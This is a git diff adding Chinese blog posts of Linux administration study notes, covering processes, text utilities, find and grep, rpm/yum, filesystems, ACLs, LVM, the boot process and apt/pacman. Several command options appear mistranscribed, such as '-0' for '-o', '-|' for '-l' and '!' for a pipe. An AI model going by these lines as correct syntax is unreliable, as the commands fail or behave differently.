+> - u打印进程所有者信息
+> - f打印进程亲缘信息
+> - -e显示所有进程，
+> - o property1,property…打印定制信息
+> - pid,comm,%cpu,%mem,state,tty,euser,ruser等
+
+- 示例
+ - ps axo pid,%cpu,comm
+- pstree
+ - 可以更好的显示出进程之间的父子关系
+
+### 查找进程
+
+> - 通过预定义模式: pgrep
+> - $ pgrep -U root
+> - $ pgrep -G student
+
+- 通过准确的程序名: pidof
+ - $ pidof bash
+
+## 进程间通讯 之 信号
+
+### 进程间通信方式IPC
+
+- 信号
+- 共享内存
+- 消息队列
+- 信号量
+
+### 信号
+
+> - 最基本的进程间通讯机制
+> - 直接发送给进程,不需要用户界面
+> - 对于任何信号应用程序都需要相应处理
+
+- 通过名字或者号码来确定一个信号:
+ - Signal 15 : TERM(默认) -终止干净
+ - Signal 9, KILL-立即终止
+ - Signal 1, HUP -重读配置文件
+ - man 7 signal显示完整列表
+- kill -l(查看64个信号的各个功能)
+
+### 作业控制
+
+> - 在后台运行一个进程
+> - 给命令行尾附加一个符号: firefox &
+
+- 临时停止一个正运行的程序
+ - 使用ctrl-z 或者发送signal 19 (停止)
+- 管理后台或者挂起的作业
+ - 显示作业号和名字: jobs
+ - 在后台恢复: bg [%jobnum]
+ - 在前台恢复: fg [%jobnum]
+- 发送一个信号 : kill [-SIGNAL] [%jobnum]
+
+### 排序运行队列
+
+> - 每个进程被运行是按调度策略与优先级
+
+- 调度策略:
+ - SCHED_ FIFO
+ - chrt 命令调整优先级
+ - SCHED_ RR
+ - chrt 命令调整优先级
+ - SCHED_ OTHER
+ - nice或者renice命令调整优先级
+ - 每个进程被强占后,会重新计算一个新的内部的优先级
+ - 优先级范围是: 100-139
+ - 在每个进程被强占后,会收到一-个+5优先级惩罚
+- 优先级:
+ - 静态: 1-99 , 是被SCHED_ FIFO和SCHED_ _R所使用
+ - 静态0以及动态( 100- 139 ) 被SCHED_ OTHER所使用
+
+**优先级与更改优先级**
+
+> - 数字越小,优先级越高
+
+- 值范围为-20到19,缺省为0
+- Nice值可以被修改
+- 当启动进程的时候:
+ - $ nice -n 5 command
+- 在启动进程之后:
+ - $ renice 5 PID
+- 只有root用户才能降低nice值
+
+## 字符处理工具
+
+### 提取文本工具
+
+> - 文本内容: less和cat
+> - less :在查看文件或者标准输入的时候,每次只看- -页
+> - 在查看时常用的命令如下:
+> - /text :搜索text
+> - n/N :跳转到next/previous匹配的地方
+> - v :用文本编辑器打开该文件
+> - cat : dump一个或者多个文件到标准输出
+> - 多个文件联合在一起
+
+- 文本摘选: head和tail
+ - head :显示文件的起始10行
+ - 使用-n选项改变行显示
+ - tail :显示文件最后10行
+ - 使用-n选项改变行显示
+ - 使用-f选项来继续从输入文件复制额外的单元
+ - 对于监控日志文件非常有用!
+- 提取列或者字段: cut
+ - 显示文件指定的列或者标准输入数据
+ - $ cut -d:-f1 /etc/passwd
+ - 使用-d选项来指定列分隔符(默认是TAB)
+ - 使用 -f选项来指定要打印的列
+ - 使用-C选项来指定按字符来提取
+ - $ cut-c2-5 /usr/share/dict/words
+
+**man命令中是采用less来分页的**
+
+### 手机文本统计 - wc(单词统计)
+
+> - 计算单词书,行数,字节数和字符数
+
+- 可针对一个文件或者标准输入
+
+ ```
+ $ wc filename
+ ```
+
+- 使用-|选项:仅仅统计行数
+
+- 使用-W选项:仅仅统计单词数
+
+- 使用-C选项:仅仅统计字节数
+
+- 使用-m选项:统计字符数(不显示)
+
+### sort
+
+> - 对标准输出排序-原始文件不改变
+> - $ sort [options] file(s)
+
+- 常用选项
+
+ - -r :执行反向(降)排序
+
+ - -n :执行数字排序
+
+ - -f :忽略字符串中的大小写
+
+ - -u :在输出中删除重复的行(唯一)
+
+ - -t c :使用C作为字段间的分隔符
+
+ - -kX:使用C分隔符排序X字段
+
+ - 可多次使用
+
+ > - uniq: 从相邻的行中删除重复行
+
+ - 使用-c选项统计发生重复的次数
+
+ - 跟sort-起使用效果最好: $ sort userlist.txt!uniq -C
+
+### 文件比较 - diff
+
+- 比较两个文件的不同
+ - diff foo.conf-broken foo.conf-works
+
+### locate
+
+> - locate passwd ,查找名字或路径中包含passwd的文件
+
+- 有用的选项
+ - -i进行大小写不敏感的查找
+ - -nX只列出X匹配的
+ - -e DIR1,DIR2…不搜索目录DIR1,DIR2等等
+
+### find
+
+> - Find [dir1 dir2 …][criteri…]
+
+- 实时搜索目录树
+- 比locate慢但更精确
+- 如果不给定开始目录,就用pwd
+- 如果不给定criteria ,所有文件都匹配
+- 在找到的文件上可以执行命令
+- 对于被搜索目录，用户要拥有可读和可执行的权限
+- find -name snow.png
+ - 在当前目录下查找名为snow.png的文件
+- find -iname snow.png
+ - 在当前目录下查找文件名字为snow.png , SNOW.PNG等等,大小写不敏感
+- find / -name *.txt
+ - 在整个系统中查找以.txt 结尾的文件
+- find /etc -name *pass*
+ - 在/etc目录下查找名字包含pass的文件
+- find /home -user joe -group joe
+ - 在/home目录下查找所有者是joe并且组也是joe的文件
+
+#### find 与逻辑操作
+
+> - 默认匹配是与
+
+- 可以用-0或者是-not表示”或”或者是
+- 括号可以用来检测逻辑操作的顺序,但必须用斜线转义
+ - find -user joe -not -group joe
+ - find -user joe -0 -user jane
+ - find -not ( -user joe -0 -user jane )
+
+#### find与权限
+
+> - 能用名字或id匹配所属关系
+> - find / -user joe -0 -uid 500
+
+- 能匹配八进制或符号权限
+ - find -perm 755会匹配755的模式
+ - find -perm + 222会匹配只要任何用户能写的模式
+ - find - perm -222会匹配所有用户都可以写的模式
+ - find -perm -002会匹配其他人可以写的模式
+
+#### find与数字标准
+
+> - 许多查找标准采用数字值
+> - find - -size 10M大小等于10M的文件
+> - find -size +10M大小超过10M的文件
+> - Find - size -10M大小少于10M的文件
+
+- 其他修饰符也有效,如:k代表KB，G代表GB等等
+
+#### find与访问时间
+
+> - find可以通过节点时间戳匹配
+> - -atime文件是最后被读的
+> - -mtime文件数据最后被修改的
+> - -ctime文件数据或元数据最后被修改的
+
+- 给定值是天
+ - find /tmp - -ctime +10 /tmp下10天以前被修改的文件
+- 可以使用分钟的值
+ - -amin
+ - -mmIn
+ - -cmin
+
+#### find更多命令
+
+> - 在找到的文件上可以执行命令
+
+- 必须用-exec或者-ok打头执行命令
+- -ok在对每个文件进行动作前提示
+- 命令必须以空格+斜线(“" )+分号结尾
+- 可以使用{}作为文件名字占位符
+ - find -size + 100M -ok mv {} /tmp/largefiles/ \ ;
+
+### grep
+
+> - 通过关键词来提取文本
+
+- 打印匹配的文件行或者标准输入
+ - $ grep ‘john’ /etc/passwd
+ - $ date -help|grep year
+- 使用-i选项:忽略大小写敏感搜索
+- 使用-n选项:打印匹配的行号
+- 使用-V选项:打印哪些不匹配的行
+- 使用-AX选项:在匹配数据后包含显示X行
+- 使用-BX选项:在匹配数据前包含显示X行
+- 使用-r选项:递归搜索目录
+- 使用–color=auto选项:用color颜色高亮显示匹配的数据
+- 使用-c选项:只输出匹配行的计数
+- 使用-|选项:查询多文件时只输出包含匹配字符的文件名
+- 使用-R选项:递归对目录下面的所有文件进行过滤
+
+## 正则表达式
+
+**正则表达式( Regular expression,RE)是一种字符模式,用于在查找过程中匹配指定的字符。**
+
+> - ^ 表示行的开始
+
+- $ 表示行的结束
+
+- *一个单字符后紧跟* ,匹配0个或多个此单字符
+
+- [] 只匹配 [] 内字符
+
+- \ 只用来屏蔽一个元字符的特殊含义。
+
+- . 只匹配任意单字符
+
+ ```
+ pattern\{ n \}只用来匹配前面patte r n出现次数。n为次数
+ pattern\{n,\}含义同上,但次数最少为n
+ pattern\{n，m\}含义同上，但pattern出现次数在n与m之间
+ \锚定词尾
+ ```
+
+## 包管理器
+
+### rpm包管理器
+
+> RPM是RedHat Package Manager的缩写,这一文件格式名称虽然打上了
+> RedHat的标志,但是其原始设计理念是开放式的, 现在包括OpenLinux、
+> S.u.S.E.以及Turbo Linux等Linux的分发版本都有采用,可以算是公认的行业标准了。
+
+### rpm包名结构
+
+
+
+### 常用参数
+
+```
+-i:安装
+-e:删除
+-vh :显示安装进度
+-U:升级软件包
+```
+
+> - 组件
+> - 本地数据库
+> - rpm及相关命令或前端界面
+> - 包文件
+> - 四种基本查询类型:
+> - rpm -qa
+> - rpm -q package
+> - rpm -qf file_ path_ name
+> - rpm -qp rpmfile
+
+- 查询的信息类型:
+ - -qi包的主要信息
+ - -q|显示包中的文件
+- 其它选项
+ - –force
+
+### 对已安装的包进行文件校验:
+
+- rpm -V package
+- rpm -Vp rpmfile
+- rpm -Va
+- 在包安装之前进行签名校验:
+ - rpm –import RPM-GPG-KEY-redhat-release
+ - rpm -K rpmfile
+
+> - 文件校验表:
+> - S :档案大小改变
+> - M :档案的属性发生变化
+> - 5 : MD5这种指纹的内容已经不同
+> - D:设备的主、次代码已经改变
+> - L: link 路径已经改变
+> - U:档案的所属者改变
+> - G:档案的所属组改变
+> - T:时间改变
+
+### 如何解决依赖关系:
+
+**rpm无法自动解决依赖关系,需要手动操作**
+
+> - 使用–nodeps不考虑依赖关系, 强制安装
+
+- 一次性安装所有的软件包
+- 百度 ，GOOGLE
+- 自己学会基本的判断
+- 使用yum
+
+### yum
+
+- rpm的前端
+- 设计用于解决软件包之间的依赖性
+- 能够从多个资源库中定位软件包
+
+
+
+**在/etc/yum.repos.d/中为你的资源库创建一个文件, 文件名以.repo结尾,包含以下内容:**
+
+```
+[repo-name]
+name=A nice description
+baseurl=http://yourserver.com/ path/to/repo
+enabled=1
+gpgcheck=1
+```
+
+#### yum的安装与删除命令
+
+> - yum install package…
+
+- yum groupinstall packagegroup…
+
+- yum remove package…
+
+- yum update [packag…]
+
+ > - yum list [al] [package_ glob]
+
+- yum list (available|updates|installed|extras|obsoletes)
+
+- yum info package
+
+- yum groupinfo packagegroup
+
+- yum whatprovides filename
+ *清除资源库信息在内存中的缓存:
+
+ ```
+ yum clean dbcache|all
+ ```
+
+- 重建元数据的命令
+
+ - createrepo /pkg
+
+## Udev 概述
+
+> - /dev下的文件用于访问驱动
+
+- 从这些文件进行读写是合法的操作:
+
+ - echo “Message” > /dev/tty1
+
+- 三种文件属性决定访问哪种驱动:
+
+ - 设备类型号(字符设备或块设备)
+
+ - 主设备号( Major number )
+
+ - 次设备号( Minor number )
+
+ > - 块设备
+
+ - /dev/sda, /dev/sdb- SCSI, SATA或USB存储
+
+ - /dev/md0, /dev/md1一软件RAID
+
+- 字符设备
+
+ - /dev/tty[0-6] -虚拟控制台
+ - /dev/null , /dev/zero一软设备
+ - /dev/random , /dev/urandom -随机数
+
+- udev管理/dev/下存储的文件
+
+- 文件只有在相应的设备被插入时才会被创建
+
+- 文件会在相应的设备被断开时自动删除
+
+### 磁盘管理概述
+
+> - 进行设备识别
+
+- 对设备进行分区
+- 新建文件系统
+- 对文件系统进行标记
+- 在/etc/fstab创建相应条目
+- 安装新文件系统
+
+### MBR
+
+
+
+### 设备识别
+
+> - 主引导记录(MBR)包括:
+> - 用于调入操作系统的可执行代码
+
+- 分区表信息，包括:
+ - 分区ID或类型
+ - 分区开始的柱面号
+ - 分区包含的柱面数
+
+### 分区
+
+> - 一个扩展分区指向一个附加的分区描述符
+
+- 内核支持的最大分区数为:
+ - IDE驱动器: 63个
+ - SCSI驱动器: 15个
+- 为何要对驱动器进行分区
+ - 可控性,性能额度控制,修复
+
+### 管理分区
+
+- 创建分区:
+ - fdisk
+ - sfdisk
+ - GNU parted :高级分区操作(创建分区拷贝分区,分区大小调整,其它)
+- partprobe :刷新内核使用的存放于内存中的分区表
\ No newline at end of file
diff --git a/source/_posts/cloud_linux_2.md b/source/_posts/cloud_linux_2.md
new file mode 100644
index 0000000..ddbf98e
--- /dev/null
+++ b/source/_posts/cloud_linux_2.md
@@ -0,0 +1,609 @@
+---
+title: 云计算 - Linux系统管理
+date: 2023-03-27 10:30
+tags: [云计算, 笔记]
+categories: 笔记
+thumbnail: "https://hexoimage.pages.dev/file/2369b0203a6961af7cd62.jpg"
+---
+
+## 文件系统
+
+> - 文件系统格式操作系统用于明确存储设备或分区上的文件的方法和数据结构,即在储存设备上组织文件的方法.
+
+- 操作系统中负责管理和储存文件信息的软件机构称为文件下管理系统,简称文件系统.
+- 文件系统时命名文件以及放置文件逻辑级储存和恢复的系统.
+
+## 文件系统类型
+
+> - 本地文件系统(基于磁盘的文件系统):
+> - Windows系统: FAT,NTFS
+> - Linux系统: EXT2,EXT3,EXT4,XFS
+> - Unix系统: ZFS,JFS,JFS2,HFS
+
+- 网络文件系统:
+ - NTFS,GFS,GFS2,NFS,CIFS
+- 虚拟文件系统: 基于内存的文件系统
+ - TMPFS
+ - PROC
+ - SYSFS
+ - …
+- 交换分区(swap)
+
+## inode 和 block 概述
+
+> 文件是存储在硬盘上的，硬盘的最小存储单位叫做扇区sector，每个扇区存储512字节。操作系统读取硬盘的时候，不会一个个扇区地读取，这样效率太低，而是一次性连续读取多个扇区，即一次性读取一个块block。这种由多个扇区组成的块，是文件存取的最小单位。块的大小，最常见的是4KB，即连续八个sector组成一个block。
+>
+> 文件数据存储在块中，那么还必须找到一个地方存储文件的元信息，比如文件的创建者、文件的创建日期、文件的大小等等。这种存储文件元信息的区域就叫做inode，中文译名为索引节点，也叫i节点。因此，一个文件必须占用一个inode，但至少占用一个block。
+
+- 元信息 → inode
+- 数据 → block
+
+### inode
+
+> - inode表包括ext2,ext3或ext4文件系统上的所有文件列表
+
+- inode(索引节点)时表的入口,包括文件信息(元数据)
+ - 文件类型,许可权限,UID,GID
+ - 链接数量(指向该文件的路径数目)
+ - 文件大小和可变的时间戳
+ - 文件数据在磁盘上的块指针
+ - 文件的其他数据
+
+
+
+## EXT3/EXT4文件系统之日志的功能
+
+- 日志的作用
+ - 在系统崩溃后,通过扫描日志文件就可以把文回复到一致的状态
+
+### 三种日志模式
+
+> - 完整数据模式(Full Data)
+
+- 预定模式(Ordered)
+- 写回模式(WriteBack)
+
+### 磁盘配额(quota)
+
+> - 在内核中实现配额
+
+- 在单个文件系统上实现
+
+- 针对每个用户或组具有单独的策略
+
+ - 对块(blocks)或节点(inodes)的数量进行限制
+ - 可以实现软限制或硬限制
+
+- 分区**mount**选项: usrquota, grpquota
+
+- 初始化数据库:
+
+ ```
+ quotacheck -cugm /filesystem
+ ```
+
+### 为用户配额
+
+> - 实现方法
+> - 启用和停止Perez: quotaon, quotaoff
+> - 直接修改配置:edquota, username
+
+- 从Shell设置:
+
+ ```
+ setquota username 4096 5120 40 50 /foo
+ ```
+
+- 定义模板用户
+
+ ```
+ edquota -p user1 user2
+ ```
+
+### 配额状态报告
+
+> - 用户审查: quota
+
+- 配额总览: requota
+
+## 访问控制列表(ACL)
+
+- **ACL的定义及作用**
+- **设置ACLs**
+
+### ACLs
+
+> - ACLs全称Access control lists(访问控制列表)
+> - 用于对文件或者目录作做更精细控制
+
+- 主要通过三个方面控制资源
+
+ - 拥有者
+ - 拥有组
+ - mask
+
+- 命令:
+
+ ```
+ setfacl -m/x[修改/删除] u/g/m/d[拥有者/拥有组/mask掩码/默认权限]:name file|directory
+
+ setfacl -m u:gandolf:rwx file|directory
+ setfacl -m g:anzgul:rw file|directory
+ setfacl -m m::rwx file|directory
+ setfacl -m d:u:frodo:rw directory
+ setfacl -x u:samwise file|directory
+ ```
+
+- 使用mount选项实现
+
+ ```
+ mount -o acl /mountpoint
+ ```
+
+- 在安装期间设置文件系统
+
+ ```
+ tunefs -l /dev/sda1 | grep options
+ ```
+
+### 硬链接和软链接
+
+#### 硬链接
+
+命令
+
+- **创建硬链接**
+
+ ```
+ ln filename [linkname]
+ ```
+
+
+
+> - 只要还有一个链接存在,文件就存在
+
+- 当链接数为零时,文件被删除
+- 不能跨硬盘分区
+
+#### 软链接
+
+命令
+
+```
+ln -s filename linkname
+```
+
+## 高级权限
+
+- suid
+- sgid
+- sticky bit
+
+
+
+### 含义
+
+> - 在文件上的含义
+> - suid: 命令运行时具有命令所有者拥权限,不是命令的执行者
+> - sgid: 命令运行时具有命令所在组权限的合并
+
+- 在目录上面的含义
+ - sgid: 在带有sgid为设置的目录下创建的文件又目录的组的权限的累加
+ - sticky bit: 带有sticky bit设置的目录,下面的文件只能被锁又这或者root用户删除,无论目录的写权限是啊如何设置的
+
+| 权限 | 描述 | 数字表示 |
+| ---------- | -------------------------------------- | ------------------------------------------- |
+| drwsr-xr-x | 基本权限是 rwxr-xr-x 高级权限是 suid | 基本权限是 755 高级权限是 4 完整权限是 4755 |
+| drwSr-xr-x | 基本权限是 rwxr-xr-x 高级权限是 suid | 基本权限是 655 高级权限是 4 完整权限是 4655 |
+| drwxrwsr-x | 基本权限是 rwxrwxr-x 高级权限是 sgid | 基本权限是 775 高级权限是 2 完整权限是 2775 |
+| drwxrwSr-x | 基本权限是 rwxrw-r-x 高级权限是 sgid | 基本权限是 765 高级权限是 2 完整权限是 2765 |
+| drwxrwxrwt | 基本权限是 rwxrwxrwx 高级权限是 sticky | 基本权限是 777 高级权限是 1 完整权限是 1777 |
+
+### 符号法
+
+> - 语法
+>
+> ```
+> chmod [-R] mode file
+> ```
+
+- mode(模式)
+
+ - u,g或者o表示文件所属用户,组以及其他用户
+ - - 或者 - 表示允许或者禁止
+ - s和t表示高级权限
+
+- 示例:
+
+ ```
+ u+s:设置的是suid
+ g+s:设置的是sgid
+ o+t:设置的是sticky bit
+ ```
+
+### 数字法
+
+> - 权限通过累加的方式来计算:
+> - 4(suid) 2(sgid) 1(sticky)
+
+- 示例
+ - chmod 4775 file
+
+## 储存高级
+
+### GTP(GIUD Partition Table): 全局唯一标识磁盘分区表
+
+
+
+
+
+### GPT分区工具**parted**
+
+#### LVM
+
+> - LVM全称 Logical Volume Manager(逻辑券管理器)
+
+- 为了便于操作卷,包括重定义文件系统的大小,额定义的抽象层
+- 允许在多个五路设备上重新组织文件系统
+- 设备被认定为物理卷(PV)
+- 一个或多个物理卷可以用于创建成一个卷组(VG)
+- 卷组由固定大小的物理区域(PhysicalExten,PE)定义
+- 逻辑卷在卷组上创建按,并由PE组成
+- 文件系统创建在逻辑卷之上
+
+#### LVM工作模式
+
+> - 非条带化(线性)
+
+- 条带化
+- 镜像
+- 快照
+
+### 调整逻辑卷大小
+
+> - 扩展卷
+> - Ivextend可以扩展逻辑卷
+> - resize2fs可以在联机或脱机状态下扩展ext4文件系统
+
+- 收缩卷
+ - 必须在脱机状态下实施( umount )
+ - 需要先进行文件系统校验( e2fsck )
+ - 先收缩文件系统性( resize2fs )
+ - 最后，lvreduce可用于收缩卷
+
+## 图形化
+
+### X Window又叫做X11或X
+
+> - 1987年X的第11版发行,即X11
+
+- 是基于网络的显示协议,提供了窗口功能,包含建立图形用户界面的标准工具和协议
+- X Window是Linux的图形子系统
+- 开发X Window的团体:
+ - XFree86
+ - X.org
+- Xorg是红帽公司、普华公司用在X Window系统中的特定版本
+
+### X Window的组成
+
+> - 服务端
+
+- 客户端
+
+
+
+### 桌面环境
+
+> - 在X图形系统基础上，桌面环境为计算机提供完全的图形用户界面(GUI)
+
+- 提供桌面环境解决方案的团体:
+ - GNOME
+ - KDE
+ - xfce4
+ - XDM
+ - …
+
+> - **GUI**
+
+- X Window + Window Manager + Display Manager
+- 配置文件
+ - /etc/X11/xorg.conf
+ - X -configure
+
+# 进程,线程,LWP
+
+> - 进程是资源管理的最小单元；
+
+- 线程是程序执行的最小单元。
+- 轻量级进程(LWP)是建立在内核之上并由内核支持的用户线程，它是内核线程的高度抽象，每一个轻量级进程都与一个特定的内核线程关联。内核线程只能由内核管理并像普通进程一样被调度
+
+## 操作系的启动过程
+
+### 1,第一阶段:硬件引导
+
+
+
+> - 备份:
+> - dd if=/dev/sda of= /tmp/mbr. bak bs=512 count= 1
+> - dd if=/dev/sda of= /tmp/mbr. bak bs =446 count=1
+> - dd if=/tmp/mbr.bak of=/dev/sda bs=512 count=1
+> - dd if= /tmp/mbr .bak of= /dev/sda bs= 512 count=1
+
+- 生成bootloader
+ - grub-install /dev/sda
+
+### 2,第二阶段:加载管理启动程序
+
+
+
+> - /boot/grub/grub.conf
+
+- 最小需求:
+ - title xxx
+ - root (hdX,Y)
+ - kernel /vmlinuz-version ro root=根文件系统名称.
+ - Kernel包含的文件
+ - /boot/vmlinuz -version
+ - /boot/initramfs-version.img
+ - /lib/modules/
+ - initrd /initramfs-version.img
+
+### 3,第三阶段: 加载内核，并挂载根文件系统
+
+#### 内核初始化
+
+> - 启动期间内核功能
+> - 设备检测
+> - 设备驱动初始化
+> - 以只读方式装载根文件系统.
+> - 调入最初的进程( init )
+
+### 4,第四阶段: Sys V init初始化
+
+> - /etc/init/rcS.conf
+
+- /etc/rc.d/rc.sysinit
+ - 重要的任务包括:
+ - 激活udev和selinux
+ - 设置/etc/sysctl.conf中定义的核心参数
+ - 设置主机名
+ - 启用交换分区
+ - 根文件系统检查并且重装加载
+ - 激活RAID和LVM设备
+ - 启用磁盘限额管理
+ - 检查并加载其它文件系统
+ - 清除过期的锁和PID文件
+- /etc/inittab
+- /etc/rc.d/rc[0-6].d
+- /etc/init/control-alt-delete.conf
+- /etc/init/tty.conf
+- /etc/init/serial.conf
+- /etc/init/prefdm.conf
+
+### 5,第五阶段: 完成启动
+
+### 系统故障排除
+
+#### Rescue
+
+> - Rescue mode: 拯救模式,拯救系统
+> - 用于修复操作系统的一个平台
+> - 类似winPE,liveCD
+
+- 进入Rescue mode:
+ - 通过光盘引导,PXE引导,制作USB引导等
+
+## 新Linux发行版
+
+### GRUB2
+
+> - 配置文件:
+> - /boot/grub2/grub.cfg或/boot/efi/EFI/redhat/grub.cfg
+
+- 生成配置文件:
+ - grub2-mkconfig -0 /boot/grub2/grub.cfg
+- 修改配置文件
+ - /etc/default/grub
+- Grub2 特性L:
+ - 支持Intel , AMD , PowerPC架构
+ - 支持固件类型: BIOS , EFI/UEFI
+ - 支持主引|导记录MBR和GPT
+ - 支持非Linux文件系统:苹果的扩展分层文件系统( HFS+ )和微软的NTFS
+
+### gdisk工具
+
+支持GPT格式
+
+## Archlinux
+
+### 安装
+
+安装指南
+
+[官方wiki安装指南 ](https://wiki.archlinuxcn.org/wiki/安装指南)
+
+### pacman包管理器
+
+> - pacman是archlinux包管理器，负责安装、删除和升级软件。
+
+- 它的最大亮点是将一-个简单的二进制包格式和易用的构建系统(ABS)结合。
+- pacman 软件仓库:
+ - 在/etc/pacman.conf文件中定义使用的软件仓库，可以直接设置或从其它文件包含，只需要维护-一个列表。
+ - [core]提供了最基本的包，安装盘也提供有
+ - [extra]提供的是不适合[core] 库标准的软件包
+ - [community]提供的是由TU认证的AUR包
+
+### pacman常用命令
+
+> - 安装指定的包:
+> - pacman -S package_name….
+> - pacman -S extra/package_name
+
+- 安装包组:
+ - pacman -S gnome
+- 升级软件包:
+ - pacman -Syu
+- 查看那些包属于改组:
+ - pacman -Sg gnome
+- 删除软件包,保留全部依赖关系:
+ - pacman -R package_name
+- 删除软件包,仅保个别依赖关系:
+ - pacman -Rs package_name
+- 删除软件包,不删除依赖该软件的其他程序:
+ - pacman -Rdd package_name
+- 删除软件包,并删除所有依赖该软件的程序:
+ - pacman -Rsc package_name
+- 查询可用的软件包:
+ - pacman -Ss package_ name
+- 查询已安装的软件包:
+ - pacman -Qs package_ name
+- 查询文件是由哪个软件包提供:
+ - pacman -Qo filename
+- 查询软件包信息:
+ - pacman -Si package_ name
+- 查询已安装软件包所包含的文件:
+ - pacman -QI package name
+
+## 服务管理(systemd)
+
+> **systemd** 是一个 Linux 系统基础组件的集合，提供了一个系统和服务管理器，运行为 PID 1 并负责启动其它程序。功能包括：支持并行化任务；同时采用 socket 式与 D-Bus 总线式启用服务；按需启动守护进程（daemon）；利用 Linux 的 cgroups 监视进程；支持快照和系统恢复；维护挂载点和自动挂载点；各服务间基于依赖关系进行精密控制。systemd 支持 SysV 和 LSB 初始脚本，可以替代 sysvinit。除此之外，功能还包括日志进程、控制基础系统配置，维护登陆用户列表以及系统账户、运行时目录和设置，可以运行容器和虚拟机，可以简单的管理网络配置、网络时间同步、日志转发和名称解析等。
+
+更多有关[systemd ](https://wiki.archlinuxcn.org/wiki/Systemd)的详细介绍.
+
+## Ubuntu
+
+**ubuntu是基于Debian GNU/Linux，由全球化的专业开发团队(Canonical Ltd)打造的开源GNU/Linux操作系统，发行周期为6个月。**
+
+### ubuntu设计的目标
+
+**ubuntu的目标是更多地的以用户为本以及桌面应用**
+
+### Ubuntu风格
+
+> - ubuntu提供的最新的、同时又相当稳定的主要由自由
+> 软件，附带一部分当今比较流行的第三方软件构建而成的
+> 操作系统
+
+- ubuntu对GNU/Linux的普及特别是桌面普及作出了巨大贡献
+
+### Ubuntu 系统衍生版本
+
+
+
+### Ubuntu安装
+
+略
+
+### Ubuntu包管理器
+
+ubuntu派生自Debian,所以使用相同的包管理与仓库工具
+
+#### dpkg (Debian Package Management System)
+
+**ubuntu/Debian下的二进制软件包通常是以.deb格式发布的，使用dpkg进行软件管理，如安装、删除、查询等功能**
+
+> - 安装软件:
+>
+> ```bash
+> dpkg -i packagename.deb
+> ```
+
+- 删除软件:
+
+ ```bash
+ dpkg -r packagename
+ ```
+
+- 查询软件包信息:
+
+ ```bash
+ dpkg –info packafename.deb
+ dpkg –status packagename
+ ```
+
+- 查询软件包所含文件
+
+ ```bash
+ dpkg –listfiles packagename
+ dpkg –contents packagename.deb
+ ```
+
+- 查询文件归属
+
+ ```bash
+ dpkg –search filename
+ ```
+
+- 查询系统中的包
+
+ ```bash
+ dpkg –l
+ ```
+
+#### apt (Advanced Packaging Tool)
+
+**apt是ubuntu/debian及其派生发行版的软件包管理器，可以自动下载，配置，安装二进制或者源代码格式的软件包**
+
+> - 安装软件
+>
+> ```bash
+> apt-get install package
+> ```
+
+- 删除软件
+
+ ```bash
+ apt-get remove package
+ ```
+
+- 查询软件包信息
+
+ ```bash
+ apt-cache show package
+ ```
+
+- 查询文件归属
+
+ ```bash
+ apt-file search filename
+ ```
+
+- 查询软件包所含文件
+
+ ```bash
+ apt-file list package
+ ```
+
+- 查询系统中的包
+
+ ```bash
+ apt-cache pkgnames
+ ```
+
+### apt前端程序
+
+aptitude: apt 的高级的字符和命令行前端
+aynaptic: 图形界面的apt前端
+dselect: 使用菜单界面的包管理工具
+gnome-apt: 图形界面的apt前端
+
+### PPA (Personal Package Archives)
+
+**PPA是ubuntu的私人软件仓库，允许用户上传原码包，由launchpad编译并发布作为apt的仓库**
+
+#### 命令行添加PPA
+
+```bash
+sudo add-apt-repository ppa:user/ppa-name
+sudo apt-get update
+sudo apt-get install package
+```
+
+
+
+#### 命令行删除PPA
+
+```bash
+sudo add-apt-repository –remove ppa:user/ppa-name
+```
+
diff --git a/source/_posts/cloud_linux_3.md b/source/_posts/cloud_linux_3.md
new file mode 100644
index 0000000..b5b2349
--- /dev/null
+++ b/source/_posts/cloud_linux_3.md
@@ -0,0 +1,1066 @@
+---
+title: 云计算 - Linux服务与安全
+date: 2023-04-27 12:56
+tags: [云计算, 笔记]
+categories: 笔记
+thumbnail: "https://hexoimage.pages.dev/file/2369b0203a6961af7cd62.jpg"
+---
+
+## 网络基础
+
+### Socket 通讯
+
+- 所谓socket通常也称作”套接字” ,用于描述IR地址和端口,是一个通信链的句柄。应用程序通常通过”套接字”向网络发出请求或者应答网络请求。
+
+
+
+### C/S, B/S架构
+
+**C/S（Client/Server）：客户端-服务器结构**
+
+- C/S结构在技术上很成熟，它的主要特点是交互性强、具有安全的存取模式、网络通信量低、响应速度快、利于处理大量数据。因为客户端要负责绝大多数的业务逻辑和UI展示，又称为胖客户端。它充分利用两端硬件，将任务分配到Client 和Server两端，降低了系统的通讯开销。C/S结构的软件需要针对不同的操作系统系统开发不同版本的软件，加之产品的更新换代十分快，已经很难适应百台电脑以上局域网用户同时使用。
+
+**B/S（Browser/Server）：浏览器-服务器结构，是目前应用系统的发展方向**
+
+- BS是伴随着Internet技术的兴起，对C/S架构的改进，为了区别于传统的C/S 模式，特意称为B/S模式。在这种结构下，通过W3浏览器来进入工作界面，极少部分事务逻辑在前端（Browser）实现，主要事务逻辑在服务器端（Server）实现，形成三层（3-tier）结构。这样使得客户端电脑负荷大大简化（因此被称为瘦客户端），减轻了系统维护、升级的支出成本，降低了用户的总体成本（TCO）。
+
+| 系统架构 | C/S | B/S |
+| ------------ | -------------------------------- | -------------------------------------- |
+| 配置成本 | 高，客户机和服务器都需要配置软件 | 低，只需配置服器，客户机只需安装浏览器 |
+| 维护更新成本 | 高，服务器和客户机均要维护更新 | 低，只维护更新服务器 |
+| 响应速度 | 快,没有中间环节 | 慢 |
+| 个性化定制 | 强 | 弱 |
+
+## 服务的基础
+
+linux下的服务管理有两类:
+
+- System V 服务
+- Transient 服务
+
+### System V 服务
+
+System V， 曾经也被称为 AT&T System V，是Unix操作系统众多版本中的一支。它最初由 AT&T 开发，在1983年第一次发布。一共发行了4个 System V 的主要版本：版本1、2、3 和 4。System V Release 4，或者称为SVR4，是最成功的版本，成为一些UNIX共同特性的源头，例如 ”SysV 初始化脚本“ (/etc/init.d)，用来控制系统启动和关闭，System V Interface Definition (SVID) 是一个System V 如何工作的标准定义。
+
+> - 通常被成为”System V” 或 “SysV”
+
+- 许多脚本都是用文件系统目录的格式来组织的
+- 可启用或者禁用资源服务
+- 经常使用几个配置文件
+- 大多数服务启动一个或多个进程
+- 命令被“包裹”在脚本中.
+- 服务由/etc/init.d/目录中的脚本管理
+ - 例如: /etc/init.d/sshd status
+ - service sshd status
+
+#### chkconfig
+
+> - 管理运行级别中的服务定义
+
+- 在引导时启动cups服务: chkconfig cupS on
+- 不会改变System V服务的当前运行状态
+- 用于独立的和瞬时的服务
+- 被其它应用程序调用,其中包括system-config-services命令
+- 要列出服务在运行级别中的分配情况,需运行chkconfig –list 命令
+
+#### /etc/sysconfig文件
+
